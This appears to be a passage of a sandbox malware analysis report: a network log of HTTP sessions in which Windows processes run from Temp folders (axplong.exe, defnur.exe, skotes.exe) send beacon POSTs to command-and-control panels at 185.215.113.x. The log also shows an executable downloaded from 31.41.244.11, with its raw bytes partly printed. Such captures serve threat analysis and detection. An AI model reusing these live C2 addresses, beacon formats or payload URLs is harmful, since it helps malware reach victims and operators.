Dec 23, 2024 17:17:19.792351961 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49748	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:20.056188107 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:21.392918110 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49749	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:22.528954029 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:23.874535084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49750	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:22.622610092 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:23.918790102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:24.006194115 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:24.455338955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49751	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:25.280226946 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:26.186512947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49752	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:26.084430933 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:17:27.357151985 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49753	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:26.561152935 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:27.877456903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49755	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:28.365205050 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:29.604410887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:29.715339899 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:30.182475090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49756	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:30.227044106 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:31.579461098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49757	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:30.584755898 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:31.938719988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49758	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:32.256731033 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:33.594197035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49760	185.215.113.43	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:32.646893978 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:34.020875931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49761	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:33.401001930 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:17:34.786529064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49762	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:34.201549053 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:35.334038019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:35.380975962 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:35.827703953 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49763	185.215.113.43	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:35.929251909 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FD666B333B96DA0445166EF7A7D35B1E750864299
Dec 23, 2024 17:17:37.356787920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 31 37 0d 0a 20 3c 63 3e 31 30 32 30 38 32 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 64 63 31 31 37 31 62 65 36 30 35 62 34 31 64 30 62 36 35 30 35 61 30 64 31 63 64 34 61 61 36 65 33 64 31 34 38 32 62 23 31 30 32 30 39 33 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 65 63 62 31 34 31 63 65 61 30 62 62 35 31 38 31 33 30 33 35 38 39 63 64 36 66 33 34 64 62 66 61 38 39 61 35 35 33 36 65 36 23 31 30 32 31 31 31 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 65 30 36 64 39 64 34 61 34 33 62 61 34 61 65 38 31 63 31 36 30 33 34 37 39 39 64 32 65 30 31 37 62 66 65 33 64 31 34 38 32 62 23 31 30 32 [TRUNCATED] Data Ascii: 717 <c>1020826001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2dc1171be605b41d0b6505a0d1cd4aa6e3d1482b#1020934001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2ecb141cea0bb5181303589cd6f34dbfa89a5536e6#1021118001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe06d9d4a43ba4ae81c16034799d2e017bfe3d1482b#1021119001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1021124001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1021126001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1021127001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc8739b4442aa1de15441#1021128001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1021129001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbca71954440b15fe54b51565ad7cee516b6a2d91e2bfb7a#1021130001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01c [TRUNCATED]
Dec 23, 2024 17:17:37.356916904 CET	770	IN	Data Raw: 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 32 31 Data Ascii: 5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1021132001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b056f703564d5b9cd3e956b7b5d1#1021133001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abee

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49764	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:36.240179062 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:37.548460007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49765	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:37.039345980 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:38.386240005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49767	31.41.244.11	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:38.592120886 CET	65	OUT	GET /files/623678601/I0XmI2t.exe HTTP/1.1 Host: 31.41.244.11
Dec 23, 2024 17:17:39.470046043 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:39 GMT Content-Type: application/octet-stream Content-Length: 3083776 Last-Modified: Mon, 23 Dec 2024 07:13:56 GMT Connection: keep-alive ETag: "67690db4-2f0e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 bc a2 b5 b2 dd cc e6 b2 dd cc e6 b2 dd cc e6 71 5e cf e7 bb dd cc e6 71 5e c8 e7 be dd cc e6 71 5e c9 e7 9c dd cc e6 bb a5 5f e6 bc dd cc e6 f9 a5 cd e7 bb dd cc e6 b2 dd cd e6 47 dd cc e6 41 5f cf e7 bb dd cc e6 41 5f c8 e7 b3 dd cc e6 b2 dd cc e6 b3 dd cc e6 41 5f c9 e7 8c dd cc e6 a7 59 cc e7 b3 dd cc e6 a7 59 ce e7 b3 dd cc e6 52 69 63 68 b2 dd cc e6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 a9 05 5f 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 fc 14 00 00 fa 1a 00 00 d6 12 00 60 12 06 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$q^q^q^_GA_A_A_YYRichPEd_g"(`@C`H@\lH@BbA\C0=T=(=@' ]^ ` hpb ` q'r@@ p@ r-@ \A^-@@ bB.@@ C/@B
